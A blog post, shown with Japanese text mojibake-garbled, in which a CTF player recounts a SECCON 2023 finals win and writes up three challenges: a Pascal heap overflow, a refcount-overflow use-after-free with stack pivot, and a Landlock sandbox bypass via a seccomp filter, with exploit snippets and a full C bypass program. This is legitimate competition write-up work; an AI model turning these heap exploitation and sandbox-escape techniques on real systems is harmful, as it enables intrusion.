ãã¼ã ã:(ãã¨ãã¦å½å
ã®æ±ºåã«åºã¦ãã¾ããã çµæã¯ãã¼ã ã¡ã³ãã¼ãã¨ã¦ãå¼·ãã£ããã¨ããããå½å
決åãªãã *1 åªåãããã¨ãã§ãã¾ãããããã£ãã
åªå
ãã¼ã :)ã¯ãäºé¸ã¯ potetisensei 㨠icchyãã ã®äºäººãã¼ã ã ã£ãããæ¬é¸ããç§ã¨ ngkzãã ãåæµããå½¢ã§ã4人ã§æ¬é¸ã«åºã¾ãã *2 ã
ãã¼ã ã¨ãã¦è§£ããåé¡ã¯ä»¥ä¸ã®éãã
ãã¼ã æ§æãããã¤ããªå¤§å¥½ããªã¿ã¯ãã¡ï¼poteti, ngkz, moraï¼ã¨Web大好ããªã¿ã¯icchyããã¨ããããåãã®ããã¡ã³ãã¼æ§æã ã£ãã®ã§cryptoãè¦ã人éã誰ãããªãã£ãããã¼ã ã®ã ã¼ãã¨ãã¦ã¯ãpotetisenseiããªãã§ãä¿ãæ
å½ãã¦ããã¡ãã¡ãã¨åé¡ã解ããicchyãããWebãngkzããããã¼ãã¦ã§ã¢ã¨ãã¤ããªç³»ãåã¯ãã¤ããªç³»ãè¦ãã¿ãããªãã¨ããã¦ãã*3 ãåä½ãæµç³ã®å¼·ãã ã£ãã
åèªèº«ã¯ãbabyheap 1970ã解ããæåã®3æéåããã¼ã¯ã§ããã¨ã¯ã»ã¨ãã©ã²ãããDatastore 2ã«è¦ããã§ãããå人çã«Datastore 2ã¯1æ¥ç®å¤ã«ã¯è§£ããã¨æã£ã¦ãã¦ï¼å®é解ããã¹ãã ã£ããï¼ãããªãããã¯æãããæ¬å½ã¯1æ¥ç®å¤ã«ã¯çµãããã¦æçµæ¥ã¯elk (or WkNote?)ã¨æ ¼éãããã£ãã
å®ã¯ãã®é ã¯å¤ãã«è¦ç©ãã£ã¦1æ¥ç®ä¸ã ã¨æã£ã¦ãã
大ä¼ã¨ãã¦ã¯ãåé¡ã®è³ªããéå¶ãå¤ãã£ã¦ããã®CTFã¨ãã¦ã¯"ãã¤ãéã"ããã£ããããããç¶æããã®ã¯æ¬å½ã«å¤§å¤ãªãã¨ã ã¨æãã®ã§æè¬ãããªããæè¿ãã¾ãCTFãã¦ããªã人éãä½åããã®ã¯æªã ã¨æã£ã¦ãã¦ãã®æå³ã§ã¯SECCONã§åãä½åãã¹ãã§ã¯ãªãã¨æã£ã¦ã¯ãããã®ã®ãããæ¬å½ã«åé¡è¶³ããªããªãããã ã£ãããã¤ã§ãè¡ãã®ã§è¨ã£ã¦ãã ããï¼ã¨ã¯ããptr-yudaiãããããpwnã足ããªããªããã¨ã¯ãªããã§ããï¼ãSECCONå
¨ä½ã¯è¦ã¦ããªãããããããããªãããçæ³ã ã£ãããã§ä½ãããæ¥å¹´ä»¥éãç¶ç¶ãã¦ããã®ã¯æ¬å½ã«éª¨ãæããã¨æããã§ãããã§ããéãç¶ãã¨å¤éã¨ãã¦ã¯å¬ããã§ãããã¹ãã³ãµã¼ããã¤ããããã¨ããããã¾ã *4
以ä¸ã¯ä½åè
ã«æè¬ã®æã§ãï¼è§£ããåé¡ã®writeupã§ãï¼ã
[Pwn 240] Babyheap 1970 (5 solves)
åé¡è¨å®
Pascal ã§æ¸ãããè¬ã®ããã°ã©ã ã渡ããããããã©ã«ãã§VSCode ã§ã¯syntax highlightingãå¹ããªãã¦ãã®æå³ã§ã1970å¹´ã«æ»ã£ãã¤ããã§è§£ããããµã¼ãã¹ã¨ãã¦ã¯ä»¥ä¸ã®reallocã¨editã®ã©ã¡ããã4ã¤ã®ãã¼ãã«å¯¾ãã¦è¡ããã¨ãã§ããã
procedure realloc();
var
id : integer ;
begin
id := get_id();
g_size[id] := get_size();
setLength(g_arr[id], g_size[id]);
end ;
procedure edit();
var
id : integer ;
index : integer ;
begin
id := get_id();
index := get_index(id);
write ('value: ' );
flush (output );
read (g_arr[id][index]);
end ;
ãã°ã¯ãå¢çæ¤æ»ã§ãé
åã®è¦ç´ ã1åå¤å´ã¾ã§é
åå¤åç
§ã§ãã¦ãã¾ãã
function get_index(id : integer ): integer ;
var
index : integer ;
begin
write ('index: ' );
flush (output );
read (index);
if (index < 0 ) or (index > g_size[id]) then begin
writeln ('Index out of range' );
halt (1 );
end ;
get_index := index;
end ;
解æ³
ãã¨ã¯ãããã ãããã ããPascal ã®ãã¤ããªã®ä¸ã§ä½ãèµ·ãã¦ããã®ããã£ã±ãåãããheap allocatorãã©ããªã£ã¦ããã®ããä½ãç¥ããªãã£ãã®ã§ããããã®ã¹ã¿ã¼ãã ã£ãããæ¢ã«ããã ãã¶å¿ããããã®é¡ã®å¤ãªè¨èªåã¯å¤åä¸æã§ãæ®éã«å¦çç³»guessã ãã§è§£ãã¦ãã¾ã£ãã®ã§ç´ æ©ã解ããããçµæã©ãããä»çµã¿ã ã£ãã®ããããããªãã¨ãè¨ã*5 ã
éã«è¦ãã¦ãããã¨ã¨Discordã«æ¸ããã¡ã¢ãæ¯ãè¿ãã¨ã大ä½ããã£ã¦ãããã¨ã¯æ¬¡ã®éãã
heapã®ã¢ã«ã´ãªãºã ã¯ãè¨èªå¦çç³»ã«ãããã¡ãªããã£ã³ã¯ãµã¤ãºãã¨ã«mmap ããã¦ãåæåæã«free listãæ§ç¯ãããããªallocatorããã ãããªããé åã§ãµã¤ãºãå¤æããã®ã§ã¯ãªãããµã¤ãºæ
å ±ããã£ã³ã¯ã®ä¸ã«åãè¾¼ã¾ãã¦ããã
ãã®åãè¾¼ã¾ããæ
å ±ããã¨ã«reallocã§è¡ããã¦ãããsetLength
ã«ããããªãµã¤ãºã®å¤æãè¡ããã¦ãã
æ´æ°åintegerã¯16bits
reallocã¯å¤§ãããªãæ¹åã«ããèµ°ããªã(?)模æ§ã§ãããã©ã«ãã®0x20ããåºãã¦å¤§ãã0x60ã®ãã£ã³ã¯ã®freelistã®fdãæ¸ãæããã¨malloc ãããæãã«èµ°ããã¨ã¯èªç±ãªchunkãå¾ãããããã®ããã«
3ã®ãããã¡ããµã¤ãº0x60ã«ãªãããã«realloc
4ã®ãããã¡ããã®ä¸ã«ããããã«å³realloc
3ã®ãããã¡ã®buffer overwriteã§ããµã¤ãºæ
å ±ã0x80ã«ãã
4ã®ãããã¡ããreallocãã¦44ã«ããã¨ãheapä¸ã¯0x80ç¨åº¦ããã°ããæ¢ã«0x80ãããã¨ãåããã®ã§ãreallocãããªãããã¤é·ãæ
å ±ã44ã«ãªãã®ã§ã4ã®ãããã¡ã好ãã«overwriteã§ããããã«ãªã
ãããç¨ãã¦4ã®æ¬¡ã®freelistã«ã¤ãªãã£ã¦ãããããã¡ã®fdã好ããªã¢ãã¬ã¹(victim)ã«æ¸ãæãï¼ä»åã¯ããããã®ãããã¡ã管çãã¦ããé
å g_arr : array[0..3] of array of integer;
ã®ãã¤ã³ã¿ã«åããï¼
äºåº¦size36ã§ãreallocãã¦victimã¸ã®ãããã¡ã確ä¿
ã§AAW ããã
realloc(target, 36 )
realloc(target+1 , 36 )
edit(target, 36 , 0x8081 )
realloc(target + 1 , 44 )
edit(target + 1 , 36 , 0x8061 )
edit(target + 1 , 37 , 0xf )
edit_64(target + 1 , 40 , victim_addr)
realloc(d, 36 )
realloc(a, 36 )
AAW ã¯å¾ãããããAARãå¾ãã®ã¯ç¡çããã ã£ãã®ã§stackæ¸ãæãã«ããROPã¯ãã¤ããã¨ãªãããã ãPIEã§ãã£ã¦ãPascal ã¯è¬ã«é¢æ°ãã¤ã³ã¿ãè²ã
使ã£ã¦ããããªã®ã§ããªããããæãã®ãã¤ã³ã¿ãä¸æ¸ããã¤ã¤stack pivotãã¦ROPããã°è¯ãããã¨ããæ°æã¡ã«ãªãã
ã¨ããããããåãããªãã®ã§ãé©å½ã«æ¸ãæããã¨æ§è³ªããRIPãåããããªå ´æãæ¢ãã¨ï¼ä»¥ä¸ã¯æ¢ãã¦ããã¨ãã®æ®éª¸ï¼
addrs = [0x00430000 ]
avoid = [0x140 ]
for base in addrs:
for i in range (0x140 , 0x168 ):
if i in avoid:
continue
if i == 0x167 :
val = gadget
else :
val = i
addr = base + i*8
print (hex (i), hex (addr))
set (addr, val)
realloc(0 , 40 )
0x00430000 + 0x167 * 8
ããããè¯ãããã¨ãããã¨ããããï¼editä¸ã¯çºç«ãããreallocããã¨ãã«åãã¦çºç«ããå ´æãæ¢ãã°è¯ãï¼ã
å¾ã¯ã©ãã«æ¸ãæãããï¼ã ãããã®å ´æã§çºç«ããã¨ãã®ã¬ã¸ã¹ã¿ ãè¦ã¦ããã¨ã
[----------------------------------registers-----------------------------------]
RAX: 0x4309c8 --> 0x7fe62ed7a000 --> 0x8000
RBX: 0x4309c8 --> 0x7fe62ed7a000 --> 0x8000
RCX: 0x38061
RDX: 0x1
RSI: 0xb0
RDI: 0x430980 --> 0x0
RBP: 0x7ffd6b40f3e0 --> 0x7ffd6b40f400 --> 0x7ffd6b40f420 --> 0x0
RSP: 0x7ffd6b40f2a8 --> 0x41a6cb (lea rsp,[rsp+0x8])
RIP: 0x423800 (js 0x42380a)
R8 : 0x7fffffffffffffff
R9 : 0x7
R10: 0x7ffd6b40f070 --> 0x3433383438353600 ('')
R11: 0x246
R12: 0xe0
R13: 0x58 ('X')
R14: 0x4309c8 --> 0x7fe62ed7a000 --> 0x8000
R15: 0x7
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
ã®ããã«rdiã¯åºæ¬çã«è¯ãããã§ã 0x4022ab: mov r15, qword [rdi+0x28] ; mov rsp, qword [rdi+0x30] ; jmp qword [rdi+0x38] ; (1 found)
ã¨ããè¬ã¬ã¸ã§ãããããã®ã§ããã使ã£ãã*6
ä»åã®ããã°ã©ã ã¯statically linkedãªã®ã§syscallã使ã£ã¦sigreturnããã°è¯ãã
æçµçãªã¹ã¯ãªãã ï¼ ctf_writeups/2023/seccon_finals/babyheap_1970/solve.py at master · moratorium08/ctf_writeups · GitHub
ã¡ãªã¿ã«ãpwntoolsããã¼ã«ã«ã®èªåã®ãã½ã³ã³ã«å
¥ã£ã¦ãªãã¦ãèªåã§ãã©ã°ãç²å¾ã§ããªãã¦æ³£ãã¦ãã
1st blood â *7
[Pwn 388] Datastore 2 (2 solves)
ã¨ã¦ãè¦ããã åé¡ã
åé¡è¨å®
ãã®åé¡ã¯äºé¸ã®æ¹ã§åºãDatastore 1ã®æ¹å®çã§ãã¨ããããdiff ãè¦ãã¨ã
å
ã
ãã£ãindexã®ãã¦ã³ããªã¼ æ¤æ»ã®èå¼±æ§ ãç¡ããªã
arrayã®ä¸èº«ãå帰 çã«åé¤ããæ©è½ã追å
ã³ãã¼æ© è½ã追å
æååã®åç
§ã«ã¦ã³ãæ©è½ã®è¿½å
æååã®æ´æ°æ©è½ããªããªããæ´æ°ã¯åé¤->ä½æãè¡ããã
ããããèµ·ãã¦ãããã¨ããããããã®æç¹ã§äºé¸ã®writeupãå¼ã£å¼µãåºãã¦ããããæãåºãã®ã«è¦å´ããä¸ã«å
¨ã使ããªããã¨ãåããèããã
解æ³
æ¹ãã¦ã½ã¼ã¹ã³ã¼ã ãçºãã¦ã¿ãã¨ãrefcntãé²éª¨ã«uint8_tã§å®ç¾©ããã¦ãããinteger overflowããã¦ãã ããã¨è¨ããã°ããã§ããããããå®éåå¨ããå¯ä¸ã®èå¼±æ§ ã ã£ããarrayãããæãã«ã³ãã¼ãã¦ããã°ãç°¡åã«256åã®æååã®ã³ãã¼ãã§ãããã¤ã¾ããæååã®UAFãã§ãããããã¨ãstr_tã¨é·ã1ã®arrayã®0çªç®ã®data_tã®intã®å¤ã®å ´æãä¸è´ãããã¨ãç¨ããã¨ãä»»æã®ã¢ãã¬ã¹ã®readã¨ãä»»æã®ãããã¡ã®freeãå¯è½ã«ãªãã
åé¡ã¯writeã®primitiveã§ã©ããæ¸ãæãã¦PCãã¨ããã§ããããªããããã«ã§ããã ãã¨æã£ã¦ãããä¸çã§ããæ¬å½ã«ç¦¿ãã¾ãããå¾ããèãã¦ã¿ãã¨ããªãç¡æå³ãªè¦å´ããã¦ãããã¨ããããããã©ããã¤ã³ãã¨ãã¦
scanf("%70m[^\n]%*c", &buf);
ã§ãã¼ãã確ä¿ããããããã®æåãããç解ãã¦ããªãã£ãããmalloc (0x70)ãã¦ç¢ºä¿ããããããã¡ã«ãã¼ã¿ãæ¸ãè¾¼ã¿ããã®å¾ã§æ¸ãè¾¼ãã æåæ°ãå
¥ãç¨åº¦ã«realloc(n)ããã¦ç¸®ããããã®ç¸®ããæä½ãé¢åã§ã"%70m
ã®æååé·ã®å¶ç´ä¸å¿
ãreallocã®resizeãèµ°ã£ã¦ãã¾ãã®ã§stackä¸ã¸ã®æ¸ãè¾¼ã¿ãtcache poisoningã§ãããã¨ããã¨ããã®ã¿ã¤ãã³ã°ã§å¶ç´éåã«ãªã
æ´æ°æ¸ãè¾¼ã¿ãç¨ããã¨å¥½ããªå¤ãæ¸ãè¾¼ããããæ¸ããå ´æã16ã®åæ°ã®ã¢ãã¬ã¹ã«éå®ãããä¸ã§ããã®ã¢ãã¬ã¹-8ã®å ´æã«å¤ãªå¤ï¼åã¿ã°ï¼ãæ¸ãè¾¼ã¾ãã
fakeãªarrayãä½ãã¨ã16ã®åæ°ã§ãªãã¨ããã«ãæ¸ãè¾¼ããããæ¸ãè¾¼ãåã«ããã®ã¢ãã¬ã¹-8ã®å ´æã«é©åãªåã¿ã°ãæ¸ãè¾¼ã¾ãã¦ããªãã¨exitãã¦ãã¾ã
ãããããã®å¶ç´ã«ããæå¤ã¨é¢åãå¤ãè²ã
ãªææ³ã試ãã¦ã¯ãã¡ã ãç¹°ãè¿ãã¦ããï¼ä¸è¿°ã®å¶ç´ã«æåã«æ°ã¥ããstackä¸ã®ROPã®payloadãscanfãéãã¦ãããã¨ãããArrayãéãã¦exit_funcsãæ¸ãæãããã¨ãããinitialã®nextãæ¸ãæãããã¨ãã *8 ãããæãã«ã¿ã°ãåé¿ããªããROPããã¬ã¸ã§ãããæ¢ããetcï¼ãæçµçã«ããç¡çãããã¨è¨ã£ã¦ä¸ã®å¶ç´ãpotetisenseiã«èª¬æãã¦ã¢ã¤ã㢠åéããããsaved rbpãä¸æ¸ããã¦stack pivotã§ããããããï¼ã¨è¨ããï¼ã¡ãªã¿ã«retã¢ãã¬ã¹ã¯alignmentå¶ç´ä¸ã ãï¼ã確ãã«ããã¯ããã ãªã¨ãªãå®éãã£ã¦ã¿ãããã¾ãåãããsasuga...
ã¡ãªã¿ã«memsetã®libcã®GOTã16ã®åæ°ã®ã¢ãã¬ã¹ã«ã¯ãªãã£ããå«ãããï¼
ãã¾ããã®æèã«ãªããªãã£ãã®ã¯ãªããå¾ããèãã¦ãããæ®éã«èãã¦saved rbpã ãæ¸ãæãããããROPã¯ãã¾ãã§ããªãç¶æ³ãã¾ãã¾ãçããã®ã¨ï¼alignmentå¶ç´èªä½ã¯ãã¾ã«ããæ°ãããã大æµãªãã¨ããªãï¼ãé©åã«stack canaryãå
¥ã£ã¦ããªããã¨ãå¤§äº ((ä»åã¯é¢æ°mainã®ä¸ã« char buf[xx]
ã®ãããªãããã¡ããªããã³ã³ãã¤ã© ãmainã«stack canary checkãé
ç½®ãã¦ããªãã£ãã®ã§å¤§ä¸å¤«ã ã£ã)) ã ã£ãã®ã§ãã¾ãã¾ãã¬ã¢ãªã±ã¼ã¹ããªã¨ã¯æãï¼ãæèããå¤ãã¦ããã®ã¯è¬ã ã£ãï¼
ãããã¨ã¨ãã¦ã¯ã
strã§fake chunkãä½ã£ã¦ã
ä¸ã§leakããä»çµã¿ã§ãã®chunkãfreeã
ãã®ãã£ã³ã¯ãç¨ãã¦tcache poisoningããã¦ã
editã®rbpãæ¸ãæãã¦mainããretãã¦ãstack pivotã§çµãã
ã¨ããããªãå
¸åçãªheap風水*9 ãæ¹ãã¦è¦è¿ãã¨ãããªãä¸æ¥ç®ã«è§£ãçµããã¹ãã ã£ãæ°ãããããinternationalã§ã4 solvesã ã£ãç¶æ³ãèãã¦ãã¾ãã¾ãããã©ãï¼or ãããã¿ã¤ãï¼ã®heapã ã£ãã¨æãã®ã§è¨±ãã¦ããã ãã¦ãã*10
æçµçãªã¹ã¯ãªãã ï¼ ctf_writeups/2023/seccon_finals/Datastore2/solve.py at master · moratorium08/ctf_writeups · GitHub
ã¡ãªã¿ã«çµæ§éå¹çãªtcacheã®clear outãªã©ããã¦ããã®ã§åä½ãé
ãã£ããå®ã¯ããã¯çµæ§åé¡ã§ãåé¡æä¸ã§ alarm(60)
ã¨æ¸ããã¦ããã®ã«ãå®ã¯ã¿ã¤ã ã¢ã¦ã ã30ç§ã«è¨å®ããã¦ããããªã¢ã¼ãã§ãã©ã°ãåãã®ã«å¤±æãã¦ãããããã«ã¤ãã¦éå¶ã«æå¥ãè¨ã£ãã¨ãããå
ã«è§£ãã¦ããï¼ï¼ï¼TSGã許ãã¦ããã*11 ã®ã§ãã¿ã¤ã ã¢ã¦ã ãé©åã«ç´ãããç¡äºãã®ã¹ã¯ãªãã ã§éããã¨ãã§ãããããã§ãªãã£ãå ´åãèç¡ã®PoCæé©åãå¿
è¦ã ã£ãã®ã§ããã®ç¹ãæè¬ã®éã...
elkãè¦ããã£ããªããæ¯åä½ããã®åé¡ã«è©°ã¾ã£ã¦ãã¾ã£ã¦åçãã¦ãã
[Misc 388] landbox (2 solves)
Datastore2ã§ã¤ãããªã£ã¦ããã¨ãã«æ¯æãã¨ãã¦è¦ãåé¡ã
Landlockã¨ããLinux è¬æ©è½ã§ããã»ã¹ã«å¶éããããä¸ã§ã /readflag
ãããã¨ããããã°ã©ã ãä¸ãããã
void give_up_flag (void ) {
int abi, ruleset_fd;
struct landlock_ruleset_attr *ruleset_attr = &default_landlock_ruleset_attr;
abi = landlock_create_ruleset (NULL , 0 , LANDLOCK_CREATE_RULESET_VERSION);
assert (abi >= 0 );
switch (abi) {
case 1 :
ruleset_attr->handled_access_fs &= ~LANDLOCK_ACCESS_FS_REFER;
__attribute__ ((fallthrough));
case 2 :
ruleset_attr->handled_access_fs &= ~LANDLOCK_ACCESS_FS_TRUNCATE;
}
ruleset_fd = landlock_create_ruleset (ruleset_attr, sizeof (*ruleset_attr), 0 );
assert (ruleset_fd >= 0 );
assert (!prctl (PR_SET_NO_NEW_PRIVS, 1 , 0 , 0 , 0 ));
landlock_restrict_self (ruleset_fd, 0 );
}
int main () {
give_up_flag ();
read_flag ();
return 0 ;
}
Landlock: unprivileged access control — The Linux Kernel documentation ãããã®ããã¥ã¡ã³ããèªãã¨ãããªãæ£ããå®è£
ããã¦ãããã«è¦ãããå°ãªãã¨ããã£ã«ã¿ã¼ã®æ¸ãæ¹ã¯æ£ããããã ããããããlandlock_add_ruleããã¦ããªãã®ã§ãä½ãèªããªããããã»ã¹ã«ãªã£ã¦ãã read_flag
ãå¼ã°ããå®è£
ã®æ¨¡æ§ã§ããããçªç ´ã§ããã¨ããã¨landlockã®ä»çµã¿èªä½ãç ´æ»
ãã¦ããã¨ãããã¨ã«ãªã£ã¦ãã¾ããå°ã£ãã
ã¨ããç¶æ
㧠give_up_flag
ãããè¦ã¦ã¿ãã¨ãæªããç®æã¨ã㦠landlock_restrict_self
ã®ã¨ã©ã¼ãã³ããªã³ã°ãè¡ããã¦ããªãããã®ã·ã¹ãã ã³ã¼ã« ã失æãããªãã°ãåã«å¶éãä½ãããã£ã¦ããªãããã»ã¹ã«ãªãã®ã§ãããã失æããããã¨ããæ°æã¡ã«ãªããmanãè¦ã¦ã¿ã㨠landlock_restrict_self
ã失æãããç¶æ
ã¯ä»¥ä¸ã®éã
landlock_restrict_self() can fail for the following reasons:
EOPNOTSUPP
Landlock is supported by the kernel but disabled at boot
time.
EINVAL flags is not 0.
EBADF ruleset_fd is not a file descriptor for the current
thread.
EBADFD ruleset_fd is not a ruleset file descriptor.
EPERM ruleset_fd has no read access to the underlying ruleset,
or the calling thread is not running with no_new_privs, or
it doesn't have the CAP_SYS_ADMIN in its user namespace.
E2BIG The maximum number of composed rulesets is reached for the
calling thread. This limit is currently 64.
ããã¤ã試ãã¦ã¿ããå®é¨ä¸ã¯ãã¾ãåããé ããããã¦ãã *12
ã¨ããã¨ããã§ããµã¨seccomp㧠landlock_restrict_self
ãç¦æ¢ãã¦ãã¾ãã°ãããããªããã¨ããæ°æã¡ã«ãªããå®ã¯ããã ãã§ãã
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <seccomp.h>
#include <linux/landlock.h>
#include <sys/prctl.h>
#include <errno.h>
int main () {
int rc;
scmp_filter_ctx ctx;
ctx = seccomp_init (SCMP_ACT_ALLOW);
if (ctx == NULL ) {
perror ("seccomp_init" );
return -1 ;
}
rc = seccomp_rule_add (ctx, SCMP_ACT_ERRNO (EPERM ), SCMP_SYS (landlock_restrict_self), 0 );
if (rc < 0 ) {
perror ("seccomp_rule_add" );
seccomp_release (ctx);
return -1 ;
}
rc = seccomp_load (ctx);
if (rc < 0 ) {
perror ("seccomp_load" );
seccomp_release (ctx);
return -1 ;
}
int x = execve ("/readflag" , NULL , NULL );
perror ("failed to run readflag" );
return 0 ;
}
話ã¯ããããã§ãããåãçµã¿ããããã°ããã«è§£ãããã¨ã"ãã¬ã"ãªã¨æã£ããã1æ¥ç®çµäºæç¹ã§ã¾ã 1 solveã ã£ãã®ã§ããã©ã°æåºãã¡ãã£ã¨é
ãããã¨ãããã¨ããã¦ãã
å®éãããåãå¥ããã®ãï¼ï¼ï¼ãæçµçã«2 solvesã§388ç¹ãå¾ããã¨ãã§ãããã¾ãæ£ç´ãã®åé¡ã®ãã¤ã³ãå·®ã¯ããã¾ãéè¦ã§ã¯ãªãã£ãã
ææ³
å人ã®ããã©ã¼ãã³ã¹ã¨ãã¦ã¯ããã¾ãè¡ã£ãåé¡1åã¨ãã¾ããããªãã£ã1å+æ®éã®1åã§ãå¹³åãã¦æå¾
å¤ç¨åº¦ã®ããã©ã¼ãã³ã¹ã¨ãã£ãæããç°¡åãªpwnãéãç¨åº¦ã®è½åãæä¾ããã¨è¨ã£ã¦ãã¼ã ã«åæ¦ããã®ã§ã®ãªã®ãªè¨±ãããã...?
åä½ãã¡ãã¡ãã¨åé¡ãéãã¦ããããããã ãªãã¨æããªããè¦ã¦ããããããã¯ã·ã解ããªãã¦ãåã¦ãããããªããï¼ã¨ãæã£ã¦ãããç¹ã«Datastore2ã§çºçãã¦ããã¨ãã«ã¯ã
æ¹ãã¦ã«ãªãã¾ãããéå¶ãããã¨ããããã¾ãããæ¬å½ã«æ¥½ããã£ãã§ããæ¬é¸ã«ãåå ãã¦ããã£ãã¨æãã¾ãããæ£ç´å
¨ã¦ã®åé¡ã楽ãã¿åãåã«ã³ã³ãã¹ããçµãã£ã¦ãã¾ãã®ã§ããã¤ãã¡ãã£ã¨ãã£ãããªããªãã¨ã¯æããã§ããã
æå¾ã«ãæ°æã¡ãæ¸ãã¨ãæ£ç´è人ã¨ãã¦TSGã®æ ã使ãã®ã¯ç³ã訳ãªãã¨è¨ããªãããå½å
æ ã®åªåãåãã®ã¯ã¡ãã£ã¨ã¾ããã¨ãã説ã¯ãã£ããã»ãã¾ããã¾ãåã¯å¦çã ããè¯ãã§ããï¼ãããã¨ããicchyãããåªåã¤ã³ã¿ãã¥ã¼ã§è©±ãã¦ããããã«ãã¡ããã¨å½éæ ã§æ¦ãã¹ããªãã§ãããæ®éã«SECCONãè¯ã大ä¼ã«ãªãããã¦ãªããªãã¦ãªã§ããã